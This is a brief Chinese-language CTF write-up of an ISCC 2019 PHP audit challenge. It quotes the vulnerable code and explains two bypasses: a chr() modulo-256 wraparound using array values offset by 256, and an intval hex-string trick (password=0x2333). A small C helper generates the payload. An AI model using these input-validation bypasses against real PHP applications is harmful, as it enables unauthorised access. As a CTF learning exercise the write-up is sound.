打开连接,又是审计,
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';
for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}
highlight_file(__FILE__);
发现它让你传递参数,它不能在32到127之间,但是它的ascii值转码后,还的是‘w3lc0me_To_ISCC2019’。所以,我们把这个字符串对的每个字符应的ascii值,都加上256,因为chr函数在转换时会自动取模256。这样就绕过了。这里的value是一个数组,传参的方法是value[]=w&value[]=3&value[]=l。。。。。这里附上一个我用C语言写的自动化的代码
#include<stdio.h>
int main()
{
FILE *fp;
fp=fopen("1.txt","w");
int a[1000];
for(int i=0;i<19;i++)
{
scanf("%d",&a[i]);
a[i]=a[i]+256;
}
for(int i=0;i<19;i++)
{
fprintf(fp,"value[]=%d&",a[i]);
}
}
intval这是一个取整函数,但是它在变量上有一些问题,具体的看这篇文章吧:https://mp.weixin.qq.com/s/D1kN9AVubt3-tpqH8peADw
让后让password=0x2333就可以了。